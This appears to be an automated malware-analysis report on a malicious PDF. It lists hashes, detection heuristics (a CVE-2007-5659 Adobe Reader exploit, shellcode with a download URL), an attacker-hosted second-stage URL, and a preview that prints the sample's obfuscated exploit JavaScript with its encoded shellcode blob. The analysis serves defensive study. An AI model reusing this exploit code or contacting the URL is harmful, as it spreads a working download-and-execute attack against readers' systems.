PDF malware analysis — malicious · 9e5abca021fb0e25

MALICIOUS

PDF

3.0 KB First seen: 2013-02-25

MD5: 61530312a924c98212d6ff014fae2c55 SHA-1: e659e2fb6d35929795fc27137cb13dd3f9f18998 SHA-256: 9e5abca021fb0e25378e9da60fb80c4f0794808397df2386ee450c68e1398281

258 Risk Score

Malware Insights

MITRE ATT&CK

T1059.001 PowerShell

The PDF file contains embedded JavaScript, indicated by the PDF_JAVASCRIPT and PDF_JS heuristics. The JavaScript stream is obfuscated and uses String.fromCharCode, suggesting an attempt to hide malicious code. The extracted artifact 'javascript_obj0009_000.js' is a large, obfuscated JavaScript file. The overall intent appears to be downloading and executing a second-stage payload, though the exact mechanism is obscured by the obfuscation.

Machine Learning

Nyx PDF Classifier malicious score 1.0000

Heuristics 8

Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659

PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
JavaScript action low 3 related findings PDF_JAVASCRIPT

PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER

PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
Matched line in script
```
      chr3 = ((enc3 & 3) << 6) | enc4;
      output = output + String.fromCharCode(chr1);
      if (enc3 != 64) {
```
PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL

Decoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
Embedded JS stream low PDF_JS

PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
Generic recovered JavaScript exploit stage high PDF_GENERIC_STAGE_RECOVERY

Bounded static stage recovery exposed hidden JavaScript through generic transforms such as null-byte collapse, percent decoding, marker replacement, arithmetic character codes, fromCharCode, numeric arrays, numeric-array minus-key decoders, alphabet-index arrays, /Producer half-difference metadata arrays, hex literals, marker-stripped Base64 literals, custom 6-bit XOR table decoders, or repeated-marker hex carriers. This rule is emitted only when the recovered stage contains exploit-like Acrobat JavaScript or shellcode markers.
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.

URL http://www.herosima1yet00g.cn/myexp2/getexe.php?spl=pdf_exp Referenced by PDF JavaScript

Extracted artifacts 3

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`javascript_obj0009_000.js`	pdf-javascript-stream	PDF /JS object 9 at offset 0xD6	21417 bytes
SHA-256: `d96f2af1f9afca2a0f810b6899100896fa84f26b3cb0c1fb8b6b2608b7683389`
Detection ClamAV: No threats found Obfuscation or payload: likely Carved artifact contains 3 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script First 1,000 lines of the extracted script var keyXXXStr = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="; function decode64(input) { var output = ""; var chr1, chr2, chr3; var enc1, enc2, enc3, enc4; var i = 0; input = input.replace(/[^A-Za-z0-9\+\/\=]/g, ""); do { enc1 = keyXXXStr.indexOf(input.charAt(i++)); enc2 = keyXXXStr.indexOf(input.charAt(i++)); enc3 = keyXXXStr.indexOf(input.charAt(i++)); enc4 = keyXXXStr.indexOf(input.charAt(i++)); chr1 = (enc1 << 2) \| (enc2 >> 4); chr2 = ((enc2 & 15) << 4) \| (enc3 >> 2); chr3 = ((enc3 & 3) << 6) \| enc4; output = output + String.fromCharCode(chr1); if (enc3 != 64) { output = output + String.fromCharCode(chr2); } if (enc4 != 64) { output = output + String.fromCharCode(chr3); } } while (i < input.length); return output; } var aasd = decode64("CiB2YXIgT0U1a2hPcGdvYiA9IG5ldyBBcnJheSgpOwogdmFyIHIwNEl6YTRaSUw7CiB2YXIgbGF2ZSA9IGV2YWw7CiAgbGF2ZSh1bmVzY2FwZSgiJTIwJTIwJTY2JTc1JTZlJTYzJTc0JTY5JTZmJTZlJTIwJTRjJTZkJTZmJTZiJTc5JTRlJTUwJTcyJTMzJTM2JTI4JTczJTY2JTRhJTQ5JTUxJTMyJTY3JTQ2JTY4JTU2JTJjJTIwJTZhJTc5JTY1JTc1JTQ4JTY1JTU2JTRiJTQ0JTZmJTI5JTIwJTIwJTdiJTIwJTIwJTIwJTIwJTc3JTY4JTY5JTZjJTY1JTI4JTczJTY2JTRhJTQ5JTUxJTMyJTY3JTQ2JTY4JTU2JTJlJTZjJTY1JTZlJTY3JTc0JTY4JTIwJTJhJTIwJTMyJTIwJTNjJTIwJTZhJTc5JTY1JTc1JTQ4JTY1JTU2JTRiJTQ0JTZmJTI5JTIwJTIwJTIwJTIwJTdiJTIwJTIwJTIwJTIwJTIwJTIwJTczJTY2JTRhJTQ5JTUxJTMyJTY3JTQ2JTY4JTU2JTIwJTJiJTNkJTIwJTczJTY2JTRhJTQ5JTUxJTMyJTY3JTQ2JTY4JTU2JTNiJTIwJTIwJTIwJTIwJTdkJTIwJTIwJTIwJTIwJTczJTY2JTRhJTQ5JTUxJTMyJTY3JTQ2JTY4JTU2JTIwJTNkJTIwJTczJTY2JTRhJTQ5JTUxJTMyJTY3JTQ2JTY4JTU2JTJlJTczJTc1JTYyJTczJTc0JTcyJTY5JTZlJTY3JTI4JTMwJTJjJTIwJTZhJTc5JTY1JTc1JTQ4JTY1JTU2JTRiJTQ0JTZmJTIwJTJmJTIwJTMyJTI5JTNiJTIwJTIwJTIwJTIwJTcyJTY1JTc0JTc1JTcyJTZlJTIwJTczJTY2JTRhJTQ5JTUxJTMyJTY3JTQ2JTY4JTU2JTNiJTIwJTIwJTdkJTIwIikpOyAgbGF2ZSh1bmVzY2FwZSgiJTIwJTIwJTIwJTY2JTc1JTZlJTYzJTc0JTY5JTZmJTZlJTIwJTUwJTM0JTYxJTU2JTZmJTU5JTczJTQ0JTUxJTc2JTI4JTQ3JTY0JTYxJTYzJTc2JTMyJTY1JTYzJTQ4JTRjJTI5JTIwJTIwJTdiJTIwJTIwJTIwJTIwJTY5JTY2JTI4JTQ3JTY0JTYxJTYzJTc2JTMyJTY1JTYzJTQ4JTRjJTIwJTNkJTNkJTIwJTMwJTI5JTIwJTIwJTIwJTIwJTdiJTIwJTIwJTIwJTIwJTIwJTIwJTc2JTYxJTcyJTIwJTUzJTM5JTRiJTZkJTMzJTYzJTUxJTU5JTc4JTY1JTIwJTNkJTIwJTMwJTc4JTMwJTYzJTMwJTYzJTMwJTYzJTMwJTYzJTNiJTIwJTIwJTIwJTIwJTIwJTIwJTc2JTYxJTcyJTIwJTc4JTY0JTY4JTc3JTM5JTU2JTU2JTMyJTY5JTc2JTIwJTNkJTIwJTIwJTc1JTZlJTY1JTczJTYzJTYxJTcwJTY1JTI4JTIyJTI1JTc1JTQzJTMwJTMzJTMzJTI1JTc1JTM4JTQyJTM2JTM0JTI1JTc1JTMzJTMwJTM0JTMwJTI1JTc1JTMwJTQzJTM3JTM4JTI1JTc1JTM0JTMwJTM4JTQyJTI1JTc1JTM4JTQyJTMwJTQzJTI1JTc1JTMxJTQzJTM3JTMwJTI1JTc1JTM4JTQyJTQxJTQ0JTI1JTc1JTMwJTM4JTM1JTM4JTI1JTc1JTMwJTM5JTQ1JTQyJTI1JTc1JTM0JTMwJTM4JTQyJTI1JTc1JTM4JTQ0JTMzJTM0JTI1JTc1JTM3JTQzJTM0JTMwJTI1JTc1JTM1JTM4JTM4JTQyJTI1JTc1JTM2JTQxJTMzJTQzJTI1JTc1JTM1JTQxJTM0JTM0JTI1JTc1JTQ1JTMyJTQ0JTMxJTI1JTc1JTQ1JTMyJTMyJTQyJTI1JTc1JTQ1JTQzJTM4JTQyJTI1JTc1JTM0JTQ2JTQ1JTQyJTI1JTc1JTM1JTMyJTM1JTQxJTI1JTc1JTQ1JTQxJTM4JTMzJTI1JTc1JTM4JTM5JTM1JTM2JTI1JTc1JTMwJTM0JTM1JTM1JTI1JTc1JTM1JTM3JTM1JTM2JTI1JTc1JTM3JTMzJTM4JTQyJTI1JTc1JTM4JTQyJTMzJTQzJTI1JTc1JTMzJTMzJTM3JTM0JTI1JTc1JTMwJTMzJTM3JTM4JTI1JTc1JTM1JTM2JTQ2JTMzJTI1JTc1JTM3JTM2JTM4JTQyJTI1JTc1JTMwJTMzJTMyJTMwJTI1JTc1JTMzJTMzJTQ2JTMzJTI1JTc1JTM0JTM5JTQzJTM5JTI1JTc1JTM0JTMxJTM1JTMwJTI1JTc1JTMzJTMzJTQxJTQ0JTI1JTc1JTMzJTM2JTQ2JTQ2JTI1JTc1JTQyJTQ1JTMwJTQ2JTI1JTc1JTMwJTMzJTMxJTM0JTI1JTc1JTQ2JTMyJTMzJTM4JTI1JTc1JTMwJTM4JTM3JTM0JTI1JTc1JTQzJTQ2JTQzJTMxJTI1JTc1JTMwJTMzJTMwJTQ0JTI1JTc1JTM0JTMwJTQ2JTQxJTI1JTc1JTQ1JTQ2JTQ1JTQyJTI1JTc1JTMzJTQyJTM1JTM4JTI1JTc1JTM3JTM1JTQ2JTM4JTI1JTc1JTM1JTQ1JTQ1JTM1JTI1JTc1JTM0JTM2JTM4JTQyJTI1JTc1JTMwJTMzJTMyJTM0JTI1JTc1JTM2JTM2JTQzJTMzJTI1JTc1JTMwJTQzJTM4JTQyJTI1JTc1JTM4JTQyJTM0JTM4JTI1JTc1JTMxJTQzJTM1JTM2JTI1JTc1JTQ0JTMzJTMwJTMzJTI1JTc1JTMwJTM0JTM4JTQyJTI1JTc1JTMwJTMzJTM4JTQxJTI1JTc1JTM1JTQ2JTQzJTMzJTI1JTc1JTM1JTMwJTM1JTQ1JTI1JTc1JTM4JTQ0JTQzJTMzJTI1JTc1JTMwJTM4JTM3JTQ0JTI1JTc1JTM1JTMyJTM1JTM3JTI1JTc1JTMzJTMzJTQyJTM4JTI1JTc1JTM4JTQxJTQzJTQxJTI1JTc1JTQ1JTM4JTM1JTQyJTI1JTc1JTQ2JTQ2JTQxJTMyJTI1JTc1JTQ2JTQ2JTQ2JTQ2JTI1JTc1JTQzJTMwJTMzJTMyJTI1JTc1JTQ2JTM3JTM4JTQyJTI1JTc1JTQxJTQ1JTQ2JTMyJTI1JTc1JTQyJTM4JTM0JTQ2JTI1JTc1JTMyJTQ1JTM2JTM1JTI1JTc1JTM3JTM4JTM2JTM1JTI1JTc1JTM2JTM2JTQxJTQyJTI1JTc1JTM2JTM2JTM5JTM4JTI1JTc1JTQyJTMwJTQxJTQyJTI1JTc1JTM4JTQxJTM2JTQzJTI1JTc1JTM5JTM4JTQ1JTMwJTI1JTc1JTM2JTM4JTM1JTMwJTI1JTc1JTM2JTQ1JTM2JTQ2JTI1JTc1JTM2JTM0JTMyJTQ1JTI1JTc1JTM3JTM1JTM2JTM4JTI1JTc1JTM2JTQzJTM3JTMyJTI1JTc1JTM1JTM0JTM2JTQ0JTI1JTc1JTM4JTQ1JTQyJTM4JTI1JTc1JTMwJTQ1JTM0JTQ1JTI1JTc1JTQ2JTQ2JTQ1JTQzJTI1JTc1JTMwJTM0JTM1JTM1JTI1JTc1JTM1JTMwJTM5JTMzJTI1JTc1JTQzJTMwJTMzJTMzJTI1JTc1JTM1JTMwJTM1JTMwJTI1JTc1JTM4JTQyJTM1JTM2JTI1JTc1JTMwJTM0JTM1JTM1JTI1JTc1JTQzJTMyJTM4JTMzJTI1JTc1JTM4JTMzJTM3JTQ2JTI1JTc1JTMzJTMxJTQzJTMyJTI1JTc1JTM1JTMwJTM1JTMyJTI1JTc1JTMzJTM2JTQyJTM4JTI1JTc1JTMyJTQ2JTMxJTQxJTI1JTc1JTQ2JTQ2JTM3JTMwJTI1JTc1JTMwJTM0JTM1JTM1JTI1JTc1JTMzJTMzJTM1JTQyJTI1JTc1JTM1JTM3JTQ2JTQ2JTI1JTc1JTQyJTM4JTM1JTM2JTI1JTc1JTQ2JTQ1JTM5JTM4JTI1JTc1JTMwJTQ1JTM4JTQxJTI1JTc1JTM1JTM1JTQ2JTQ2JTI1JTc1JTM1JTM3JTMwJTM0JTI1JTc1JTQ1JTQ2JTQyJTM4JTI1JTc1JTQ1JTMwJTQzJTQ1JTI1JTc1JTQ2JTQ2JTM2JTMwJTI1JTc1JTMwJTM0JTM1JTM1JTI1JTc1JTM3JTM0JTM2JTM4JTI1JTc1JTM3JTMwJTM3JTM0JTI1JTc1JTMyJTQ2JTMzJTQxJTI1JTc1JTM3JTM3JTMyJTQ2JTI1JTc1JTM3JTM3JTM3JTM3JTI1JTc1JTM2JTM4JTMyJTQ1JTI1JTc1JTM3JTMyJTM2JTM1JTI1JTc1JTM3JTMzJTM2JTQ2JTI1JTc1JTM2JTQ0JTM2JTM5JTI1JTc1JTMzJTMxJTM2JTMxJTI1JTc1JTM2JTM1JTM3JTM5JTI1JTc1JTMzJTMwJTM3JTM0JTI1JTc1JTM2JTM3JTMzJTMwJTI1JTc1JTM2JTMzJTMyJTQ1JTI1JTc1JTMyJTQ2JTM2JTQ1JTI1JTc1JTM3JTM5JTM2JTQ0JTI1JTc1JTM3JTM4JTM2JTM1JTI1JTc1JTMzJTMyJTM3JTMwJTI1JTc1JTM2JTM3JTMyJTQ2JTI1JTc1JTM3JTM0JTM2JTM1JTI1JTc1JTM3JTM4JTM2JTM1JTI1JTc1JTMyJTQ1JTM2JTM1JTI1JTc1JTM2JTM4JTM3JTMwJTI1JTc1JTMzJTQ2JTM3JTMwJTI1JTc1JTM3JTMwJTM3JTMzJTI1JTc1JTMzJTQ0JTM2JTQzJTI1JTc1JTM2JTM0JTM3JTMwJTI1JTc1JTM1JTQ2JTM2JTM2JTI1JTc1JTM3JTM4JTM2JTM1JTI1JTc1JTMwJTMwJTM3JTMwJTIyJTI5JTNiJTIwJTIwJTIwJTIwJTdkJTIwJTIwJTIwJTIwJTY1JTZjJTczJTY1JTIwJTY5JTY2JTI4JTQ3JTY0JTYxJTYzJTc2JTMyJTY1JTYzJTQ4JTRjJTIwJTNkJTNkJTIwJTMxJTI5JTIwJTIwJTIwJTIwJTdiJTIwJTIwJTIwJTIwJTIwJTIwJTUzJTM5JTRiJTZkJTMzJTYzJTUxJTU5JTc4JTY1JTIwJTNkJTIwJTMwJTc4JTMzJTMwJTMzJTMwJTMzJTMwJTMzJTMwJTNiJTIwJTIwJTIwJTIwJTIwJTIwJTc2JTYxJTcyJTIwJTc4JTY0JTY4JTc3JTM5JTU2JTU2JTMyJTY5JTc2JTIwJTNkJTIwJTIwJTc1JTZlJTY1JTczJTYzJTYxJTcwJTY1JTI4JTIyJTI1JTc1JTQzJTMwJTMzJTMzJTI1JTc1JTM4JTQyJTM2JTM0JTI1JTc1JTMzJTMwJTM0JTMwJTI1JTc1JTMwJTQzJTM3JTM4JTI1JTc1JTM0JTMwJTM4JTQyJTI1JTc1JTM4JTQyJTMwJTQzJTI1JTc1JTMxJTQzJTM3JTMwJTI1JTc1JTM4JTQyJTQxJTQ0JTI1JTc1JTMwJTM4JTM1JTM4JTI1JTc1JTMwJTM5JTQ1JTQyJTI1JTc1JTM0JTMwJTM4JTQyJTI1JTc1JTM4JTQ0JTMzJTM0JTI1JTc1JTM3JTQzJTM0JTMwJTI1JTc1JTM1JTM4JTM4JTQyJTI1JTc1JTM2JTQxJTMzJTQzJTI1JTc1JTM1JTQxJTM0JTM0JTI1JTc1JTQ1JTMyJTQ0JTMxJTI1JTc1JTQ1JTMyJTMyJTQyJTI1JTc1JTQ1JTQzJTM4JTQyJTI1JTc1JTM0JTQ2JTQ1JTQyJTI1JTc1JTM1JTMyJTM1JTQxJTI1JTc1JTQ1JTQxJTM4JTMzJTI1JTc1JTM4JTM5JTM1JTM2JTI1JTc1JTMwJTM0JTM1JTM1JTI1JTc1JTM1JTM3JTM1JTM2JTI1JTc1JTM3JTMzJTM4JTQyJTI1JTc1JTM4JTQyJTMzJTQzJTI1JTc1JTMzJTMzJTM3JTM0JTI1JTc1JTMwJTMzJTM3JTM4JTI1JTc1JTM1JTM2JTQ2JTMzJTI1JTc1JTM3JTM2JTM4JTQyJTI1JTc1JTMwJTMzJTMyJTMwJTI1JTc1JTMzJTMzJTQ2JTMzJTI1JTc1JTM0JTM5JTQzJTM5JTI1JTc1JTM0JTMxJTM1JTMwJTI1JTc1JTMzJTMzJTQxJTQ0JTI1JTc1JTMzJTM2JTQ2JTQ2JTI1JTc1JTQyJTQ1JTMwJTQ2JTI1JTc1JTMwJTMzJTMxJTM0JTI1JTc1JTQ2JTMyJTMzJTM4JTI1JTc1JTMwJTM4JTM3JTM0JTI1JTc1JTQzJTQ2JTQzJTMxJTI1JTc1JTMwJTMzJTMwJTQ0JTI1JTc1JTM0JTMwJTQ2JTQxJTI1JTc1JTQ1JTQ2JTQ1JTQyJTI1JTc1JTMzJTQyJTM1JTM4JTI1JTc1JTM3JTM1JTQ2JTM4JTI1JTc1JTM1JTQ1JTQ1JTM1JTI1JTc1JTM0JTM2JTM4JTQyJTI1JTc1JTMwJTMzJTMyJTM0JTI1JTc1JTM2JTM2JTQzJTMzJTI1JTc1JTMwJTQzJTM4JTQyJTI1JTc1JTM4JTQyJTM0JTM4JTI1JTc1JTMxJTQzJTM1JTM2JTI1JTc1JTQ0JTMzJTMwJTMzJTI1JTc1JTMwJTM0JTM4JTQyJTI1JTc1JTMwJTMzJTM4JTQxJTI1JTc1JTM1JTQ2JTQzJTMzJTI1JTc1JTM1JTMwJTM1JTQ1JTI1JTc1JTM4JTQ0JTQzJTMzJTI1JTc1JTMwJTM4JTM3JTQ0JTI1JTc1JTM1JTMyJTM1JTM3JTI1JTc1JTMzJTMzJTQyJTM4JTI1JTc1JTM4JTQxJTQzJTQxJTI1JTc1JTQ1JTM4JTM1JTQyJTI1JTc1JTQ2JTQ2JTQxJTMyJTI1JTc1JTQ2JTQ2JTQ2JTQ2JTI1JTc1JTQzJTMwJTMzJTMyJTI1JTc1JTQ2JTM3JTM4JTQyJTI1JTc1JTQxJTQ1JTQ2JTMyJTI1JTc1JTQyJTM4JTM0JTQ2JTI1JTc1JTMyJTQ1JTM2JTM1JTI1JTc1JTM3JTM4JTM2JTM1JTI1JTc1JTM2JTM2JTQxJTQyJTI1JTc1JTM2JTM2JTM5JTM4JTI1JTc1JTQyJTMwJTQxJTQyJTI1JTc1JTM4JTQxJTM2JTQzJTI1JTc1JTM5JTM4JTQ1JTMwJTI1JTc1JTM2JTM4JTM1JTMwJTI1JTc1JTM2JTQ1JTM2JTQ2JTI1JTc1JTM2JTM0JTMyJTQ1JTI1JTc1JTM3JTM1JTM2JTM4JTI1JTc1JTM2JTQzJTM3JTMyJTI1JTc1JTM1JTM0JTM2JTQ0JTI1JTc1JTM4JTQ1JTQyJTM4JTI1JTc1JTMwJTQ1JTM0JTQ1JTI1JTc1JTQ2JTQ2JTQ1JTQzJTI1JTc1JTMwJTM0JTM1JTM1JTI1JTc1JTM1JTMwJTM5JTMzJTI1JTc1JTQzJTMwJTMzJTMzJTI1JTc1JTM1JTMwJTM1JTMwJTI1JTc1JTM4JTQyJTM1JTM2JTI1JTc1JTMwJTM0JTM1JTM1JTI1JTc1JTQzJTMyJTM4JTMzJTI1JTc1JTM4JTMzJTM3JTQ2JTI1JTc1JTMzJTMxJTQzJTMyJTI1JTc1JTM1JTMwJTM1JTMyJTI1JTc1JTMzJTM2JTQyJTM4JTI1JTc1JTMyJTQ2JTMxJTQxJTI1JTc1JTQ2JTQ2JTM3JTMwJTI1JTc1JTMwJTM0JTM1JTM1JTI1JTc1JTMzJTMzJTM1JTQyJTI1JTc1JTM1JTM3JTQ2JTQ2JTI1JTc1JTQyJTM4JTM1JTM2JTI1JTc1JTQ2JTQ1JTM5JTM4JTI1JTc1JTMwJTQ1JTM4JTQxJTI1JTc1JTM1JTM1JTQ2JTQ2JTI1JTc1JTM1JTM3JTMwJTM0JTI1JTc1JTQ1JTQ2JTQyJTM4JTI1JTc1JTQ1JTMwJTQzJTQ1JTI1JTc1JTQ2JTQ2JTM2JTMwJTI1JTc1JTMwJTM0JTM1JTM1JTI1JTc1JTM3JTM0JTM2JTM4JTI1JTc1JTM3JTMwJTM3JTM0JTI1JTc1JTMyJTQ2JTMzJTQxJTI1JTc1JTM3JTM3JTMyJTQ2JTI1JTc1JTM3JTM3JTM3JTM3JTI1JTc1JTM2JTM4JTMyJTQ1JTI1JTc1JTM3JTMyJTM2JTM1JTI1JTc1JTM3JTMzJTM2JTQ2JTI1JTc1JTM2JTQ0JTM2JTM5JTI1JTc1JTMzJTMxJTM2JTMxJTI1JTc1JTM2JTM1JTM3JTM5JTI1JTc1JTMzJTMwJTM3JTM0JTI1JTc1JTM2JTM3JTMzJTMwJTI1JTc1JTM2JTMzJTMyJTQ1JTI1JTc1JTMyJTQ2JTM2JTQ1JTI1JTc1JTM3JTM5JTM2JTQ0JTI1JTc1JTM3JTM4JTM2JTM1JTI1JTc1JTMzJTMyJTM3JTMwJTI1JTc1JTM2JTM3JTMyJTQ2JTI1JTc1JTM3JTM0JTM2JTM1JTI1JTc1JTM3JTM4JTM2JTM1JTI1JTc1JTMyJTQ1JTM2JTM1JTI1JTc1JTM2JTM4JTM3JTMwJTI1JTc1JTMzJTQ2JTM3JTMwJTI1JTc1JTM3JTMwJTM3JTMzJTI1JTc1JTMzJTQ0JTM2JTQzJTI1JTc1JTM2JTM0JTM3JTMwJTI1JTc1JTM1JTQ2JTM2JTM2JTI1JTc1JTM3JTM4JTM2JTM1JTI1JTc1JTMwJTMwJTM3JTMwJTIyJTI5JTNiJTIwJTIwJTIwJTIwJTdkJTIwJTIwJTIwJTIwJTY1JTZjJTczJTY1JTIwJTY5JTY2JTI4JTQ3JTY0JTYxJTYzJTc2JTMyJTY1JTYzJTQ4JTRjJTIwJTNkJTNkJTIwJTMyJTI5JTIwJTIwJTIwJTIwJTdiJTIwJTIwJTIwJTIwJTIwJTIwJTc2JTYxJTcyJTIwJTc4JTY0JTY4JTc3JTM5JTU2JTU2JTMyJTY5JTc2JTIwJTNkJTIwJTIwJTc1JTZlJTY1JTczJTYzJTYxJTcwJTY1JTI4JTIyJTI1JTc1JTQzJTMwJTMzJTMzJTI1JTc1JTM4JTQyJTM2JTM0JTI1JTc1JTMzJTMwJTM0JTMwJTI1JTc1JTMwJTQzJTM3JTM4JTI1JTc1JTM0JTMwJTM4JTQyJTI1JTc1JTM4JTQyJTMwJTQzJTI1JTc1JTMxJTQzJTM3JTMwJTI1JTc1JTM4JTQyJTQxJTQ0JTI1JTc1JTMwJTM4JTM1JTM4JTI1JTc1JTMwJTM5JTQ1JTQyJTI1JTc1JTM0JTMwJTM4JTQyJTI1JTc1JTM4JTQ0JTMzJTM0JTI1JTc1JTM3JTQzJTM0JTMwJTI1JTc1JTM1JTM4JTM4JTQyJTI1JTc1JTM2JTQxJTMzJTQzJTI1JTc1JTM1JTQxJTM0JTM0JTI1JTc1JTQ1JTMyJTQ0JTMxJTI1JTc1JTQ1JTMyJTMyJTQyJTI1JTc1JTQ1JTQzJTM4JTQyJTI1JTc1JTM0JTQ2JTQ1JTQyJTI1JTc1JTM1JTMyJTM1JTQxJTI1JTc1JTQ1JTQxJTM4JTMzJTI1JTc1JTM4JTM5JTM1JTM2JTI1JTc1JTMwJTM0JTM1JTM1JTI1JTc1JTM1JTM3JTM1JTM2JTI1JTc1JTM3JTMzJTM4JTQyJTI1JTc1JTM4JTQyJTMzJTQzJTI1JTc1JTMzJTMzJTM3JTM0JTI1JTc1JTMwJTMzJTM3JTM4JTI1JTc1JTM1JTM2JTQ2JTMzJTI1JTc1JTM3JTM2JTM4JTQyJTI1JTc1JTMwJTMzJTMyJTMwJTI1JTc1JTMzJTMzJTQ2JTMzJTI1JTc1JTM0JTM5JTQzJTM5JTI1JTc1JTM0JTMxJTM1JTMwJTI1JTc1JTMzJTMzJTQxJTQ0JTI1JTc1JTMzJTM2JTQ2JTQ2JTI1JTc1JTQyJTQ1JTMwJTQ2JTI1JTc1JTMwJTMzJTMxJTM0JTI1JTc1JTQ2JTMyJTMzJTM4JTI1JTc1JTMwJTM4JTM3JTM0JTI1JTc1JTQzJTQ2JTQzJTMxJTI1JTc1JTMwJTMzJTMwJTQ0JTI1JTc1JTM0JTMwJTQ2JTQxJTI1JTc1JTQ1JTQ2JTQ1JTQyJTI1JTc1JTMzJTQyJTM1JTM4JTI1JTc1JTM3JTM1JTQ2JTM4JTI1JTc1JTM1JTQ1JTQ1JTM1JTI1JTc1JTM0JTM2JTM4JTQyJTI1JTc1JTMwJTMzJTMyJTM0JTI1JTc1JTM2JTM2JTQzJTMzJTI1JTc1JTMwJTQzJTM4JTQyJTI1JTc1JTM4JTQyJTM0JTM4JTI1JTc1JTMxJTQzJTM1JTM2JTI1JTc1JTQ0JTMzJTMwJTMzJTI1JTc1JTMwJTM0JTM4JTQyJTI1JTc1JTMwJTMzJTM4JTQxJTI1JTc1JTM1JTQ2JTQzJTMzJTI1JTc1JTM1JTMwJTM1JTQ1JTI1JTc1JTM4JTQ0JTQzJTMzJTI1JTc1JTMwJTM4JTM3JTQ0JTI1JTc1JTM1JTMyJTM1JTM3JTI1JTc1JTMzJTMzJTQyJTM4JTI1JTc1JTM4JTQxJTQzJTQxJTI1JTc1JTQ1JTM4JTM1JTQyJTI1JTc1JTQ2JTQ2JTQxJTMyJTI1JTc1JTQ2JTQ2JTQ2JTQ2JTI1JTc1JTQzJTMwJTMzJTMyJTI1JTc1JTQ2JTM3JTM4JTQyJTI1JTc1JTQxJTQ1JTQ2JTMyJTI1JTc1JTQyJTM4JTM0JTQ2JTI1JTc1JTMyJTQ1JTM2JTM1JTI1JTc1JTM3JTM4JTM2JTM1JTI1JTc1JTM2JTM2JTQxJTQyJTI1JTc1JTM2JTM2JTM5JTM4JTI1JTc1JTQyJTMwJTQxJTQyJTI1JTc1JTM4JTQxJTM2JTQzJTI1JTc1JTM5JTM4JTQ1JTMwJTI1JTc1JTM2JTM4JTM1JTMwJTI1JTc1JTM2JTQ1JTM2JTQ2JTI1JTc1JTM2JTM0JTMyJTQ1JTI1JTc1JTM3JTM1JTM2JTM4JTI1JTc1JTM2JTQzJTM3JTMyJTI1JTc1JTM1JTM0JTM2JTQ0JTI1JTc1JTM4JTQ1JTQyJTM4JTI1JTc1JTMwJTQ1JTM0JTQ1JTI1JTc1JTQ2JTQ2JTQ1JTQzJTI1JTc1JTMwJTM0JTM1JTM1JTI1JTc1JTM1JTMwJTM5JTMzJTI1JTc1JTQzJTMwJTMzJTMzJTI1JTc1JTM1JTMwJTM1JTMwJTI1JTc1JTM4JTQyJTM1JTM2JTI1JTc1JTMwJTM0JTM1JTM1JTI1JTc1JTQzJTMyJTM4JTMzJTI1JTc1JTM4JTMzJTM3JTQ2JTI1JTc1JTMzJTMxJTQzJTMyJTI1JTc1JTM1JTMwJTM1JTMyJTI1JTc1JTMzJTM2JTQyJTM4JTI1JTc1JTMyJTQ2JTMxJTQxJTI1JTc1JTQ2JTQ2JTM3JTMwJTI1JTc1JTMwJTM0JTM1JTM1JTI1JTc1JTMzJTMzJTM1JTQyJTI1JTc1JTM1JTM3JTQ2JTQ2JTI1JTc1JTQyJTM4JTM1JTM2JTI1JTc1JTQ2JTQ1JTM5JTM4JTI1JTc1JTMwJTQ1JTM4JTQxJTI1JTc1JTM1JTM1JTQ2JTQ2JTI1JTc1JTM1JTM3JTMwJTM0JTI1JTc1JTQ1JTQ2JTQyJTM4JTI1JTc1JTQ1JTMwJTQzJTQ1JTI1JTc1JTQ2JTQ2JTM2JTMwJTI1JTc1JTMwJTM0JTM1JTM1JTI1JTc1JTM3JTM0JTM2JTM4JTI1JTc1JTM3JTMwJTM3JTM0JTI1JTc1JTMyJTQ2JTMzJTQxJTI1JTc1JTM3JTM3JTMyJTQ2JTI1JTc1JTM3JTM3JTM3JTM3JTI1JTc1JTM2JTM4JTMyJTQ1JTI1JTc1JTM3JTMyJTM2JTM1JTI1JTc1JTM3JTMzJTM2JTQ2JTI1JTc1JTM2JTQ0JTM2JTM5JTI1JTc1JTMzJTMxJTM2JTMxJTI1JTc1JTM2JTM1JTM3JTM5JTI1JTc1JTMzJTMwJTM3JTM0JTI1JTc1JTM2JTM3JTMzJTMwJTI1JTc1JTM2JTMzJTMyJTQ1JTI1JTc1JTMyJTQ2JTM2JTQ1JTI1JTc1JTM3JTM5JTM2JTQ0JTI1JTc1JTM3JTM4JTM2JTM1JTI1JTc1JTMzJTMyJTM3JTMwJTI1JTc1JTM2JTM3JTMyJTQ2JTI1JTc1JTM3JTM0JTM2JTM1JTI1JTc1JTM3JTM4JTM2JTM1JTI1JTc1JTMyJTQ1JTM2JTM1JTI1JTc1JTM2JTM4JTM3JTMwJTI1JTc1JTMzJTQ2JTM3JTMwJTI1JTc1JTM3JTMwJTM3JTMzJTI1JTc1JTMzJTQ0JTM2JTQzJTI1JTc1JTM2JTM0JTM3JTMwJTI1JTc1JTM1JTQ2JTM2JTM2JTI1JTc1JTM3JTM4JTM2JTM1JTI1JTc1JTMwJTMw